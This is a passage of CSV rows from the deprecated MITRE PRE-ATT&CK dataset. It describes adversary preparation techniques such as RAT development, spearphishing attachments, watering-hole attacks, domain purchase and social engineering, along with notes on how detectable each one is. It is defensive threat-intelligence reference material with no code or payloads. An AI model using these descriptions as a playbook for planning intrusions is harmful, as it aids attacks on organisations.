Scasny2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1281', external_id='T1281'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.')]",attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Obtain templates/branding materials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Adversary may download templates or branding from publicly available presentations that the defender can't monitor.,,Yes,Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.,,,,,PRE-T1058,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335). - -An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1335', external_id='T1335'), ExternalReference(source_name='NYTStuxnet', description='William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', url='https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html')]",attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Procure required equipment and software,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Outside of highly specific or rare HW, nearly impossible to detect and track.",,Yes,"Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).",,,,,PRE-T1112,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351). - -A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1351', external_id='T1351'), ExternalReference(source_name='ActiveMalwareEnergy', description='Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.', url='https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/')]",attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Remote access tool development,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary will likely use code repositories, but development will be performed on their local systems.",,Yes,"Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.",,,,,PRE-T1128,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1395', external_id='T1395'), ExternalReference(source_name='Fruit vs Zombies', description='Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.'), ExternalReference(source_name='Android Hax', description='Jon Oberheide. (2010). Android Hax. Retrieved April 12, 2017.'), ExternalReference(source_name='Execute This!', description='Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved April 12, 2017.'), ExternalReference(source_name='HT Fake News App', description='Wish Wu. (2016, July 15). Fake News App in Hacking Team Dump Designed to Bypass Google Play. Retrieved April 12, 2017.'), ExternalReference(source_name='Anywhere Computing kill 2FA', description='Radhesh Krishnan Konoth, Victor van der Veen and Herbert Bos. (2016). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved April 12, 2017.'), ExternalReference(source_name='Android Security Review 2015', description='Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.')]",attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:24:50.384000+00:00,Runtime code download and execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to ""identify attacks that require connection to a server and dynamic downloading of code"" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.",,Yes,Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.,,,False,,PRE-T1172,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).** - -Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1367', external_id='T1367'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.')]",attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:25:35.837000+00:00,Spear phishing messages with malicious attachments,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.",,Yes,"Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",,,False,,PRE-T1144,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1371', external_id='T1371'), ExternalReference(source_name='RSASEThreat', description='Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.'), ExternalReference(source_name='WikiStagefright', description='Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.'), ExternalReference(source_name='ForbesSecurityWeek', description='Fahmida Y. Rashid. (2015, February 11). Chinese Attackers Hacked Forbes Website in Watering Hole Attack: Security Firms. Retrieved March 7, 2017.'), ExternalReference(source_name='StrongPity-waterhole', description='Kurt Baumgartner. (2016, October 3). On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users. Retrieved May 9, 2017.')]",attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:26:52.970000+00:00,Targeted client-side exploitation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.",,Yes,Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.,,,False,,PRE-T1148,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357). - -Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1357', external_id='T1357'), ExternalReference(source_name='BypassMalwareDefense', description='Morton Christiansen. (2010, May 7). Bypassing Malware Defenses. Retrieved March 9, 2017.')]",attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Test malware in various execution environments,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Adversary controls the test and defender likely has no visibility.,,Yes,"Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.",,,,,PRE-T1134,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.** - -If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1387', external_id='T1387'), ExternalReference(source_name='Credit Card Skimmers', description='Jeremy Kirk. (2008, December 16). Swedish Police Warn of Tampered Credit Card Terminals. Retrieved April 2, 2017.')]",attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='compromise')]",2020-03-30 14:28:39.840000+00:00,Unauthorized user introduces compromise delivery mechanism,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.,,No,This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.,,,False,,PRE-T1164,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247). - -Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1247', external_id='T1247'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Acquire OSINT data sets and information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).",,Yes,"Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.",,,,,PRE-T1024,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330). - -A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1330', external_id='T1330'), ExternalReference(source_name='LOWBALL2015', description='FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved March 1, 2017.')]",attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Acquire and/or use 3rd party software services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not have visibility over account creation for 3rd party software services.,,Yes,3rd party services like these listed are freely available.,,,,,PRE-T1107,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288). - -An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1288', external_id='T1288'), ExternalReference(source_name='FireEyeAPT28', description='FireEye, Inc. (2014). APT 28: A Window into Russia’s Cyber Espionage Operations?. Retrieved March 1, 2017.')]",attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze architecture and configuration posture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This can be done offline after the data has been collected.,,Yes,Many of the common tools highlight these weakness automatically.,,,,,PRE-T1065,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289). - -Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1289', external_id='T1289'), ExternalReference(source_name='FakeLinkedIn', description='LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.')]",attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze organizational skillsets and deficiencies,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This can be done offline after the data has been collected.,,Yes,"Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.",,,,,PRE-T1066,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1229). - -Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1229', external_id='T1229'), ExternalReference(source_name='CompetitiveIntelligence', description='Matt H. Evans. (n.d.). Course 12: Competitive Intelligence (Part 2 of 2). Retrieved March 2, 2017.')]",attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Assess KITs/KIQs benefits,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1006,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296). - -An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1296', external_id='T1296'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'), ExternalReference(source_name='EverstineAirStrikes', description=""Brian Everstine. (2015, June 04). Carlisle: Air Force intel uses ISIS 'moron's' social media posts to target airstrikes. Retrieved March 9, 2017."")]",attack-pattern--d69c3e06-8311-4093-8e3e-0a8e06b15d92,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Assess targeting options,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.",,Yes,"Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).",,,,,PRE-T1073,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1386', external_id='T1386'), ExternalReference(source_name='AnonHBGary', description='Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', url='https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/')]",attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='compromise')]",2020-10-14 01:53:27.989000+00:00,Authorized user performs requested cyber action,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.,,Yes,"Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",,,False,,PRE-T1163,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328). - -Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1328', external_id='T1328'), ExternalReference(source_name='PWCSofacy2014', description='Tom Lancaster and Michael Yip. (2014, December 05). APT28: Sofacy? So-funny.. Retrieved March 6, 2017.')]",attack-pattern--45242287-2964-4a3e-9373-159fad4d8195,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Buy domain name,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.,,Yes,"Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka ""domain typosquatting"" or homoglyphs).",,,,,PRE-T1105,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312). - -Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1312', external_id='T1312'), ExternalReference(source_name='WateringHole2014', description='Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017.'), ExternalReference(source_name='FireEye Operation SnowMan', description='Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017.')]",attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Compromise 3rd party infrastructure to support delivery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.,,Yes,"Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",,,,,PRE-T1089,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1226). - -Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1226', external_id='T1226'), ExternalReference(source_name='LowenthalCh4', description='Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017.'), ExternalReference(source_name='KIT-Herring', description='Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017.')]",attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='priority-definition-planning')]",2020-10-26 13:42:49.342000+00:00,Conduct cost/benefit analysis,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",,Yes,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,,,,,PRE-T1003,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1376', external_id='T1376'), ExternalReference(source_name='17millionScam', description='Chris Johnston. (2015, February 5). Company loses $17m in email scam. Retrieved March 9, 2017.'), ExternalReference(source_name='UbiquityEmailScam', description='Robert Hackett. (2015, August 10). Fraudsters duped this company into handing over $40 million. Retrieved March 9, 2017.')]",attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:16:46.619000+00:00,Conduct social engineering or HUMINT operation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.",,Yes,"Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",,,False,,PRE-T1153,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355). - -Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1355', external_id='T1355'), ExternalReference(source_name='BadUSB', description='Security Research labs. (n.d.). BadUSB Exposure. Retrieved March 9, 2017.')]",attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Create infected removable media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary will likely use code repositories, but development will be performed on their local systems.",,Yes,Several exploit repositories and tool suites exist for re-use and tailoring.,,,,,PRE-T1132,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320). - -Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: 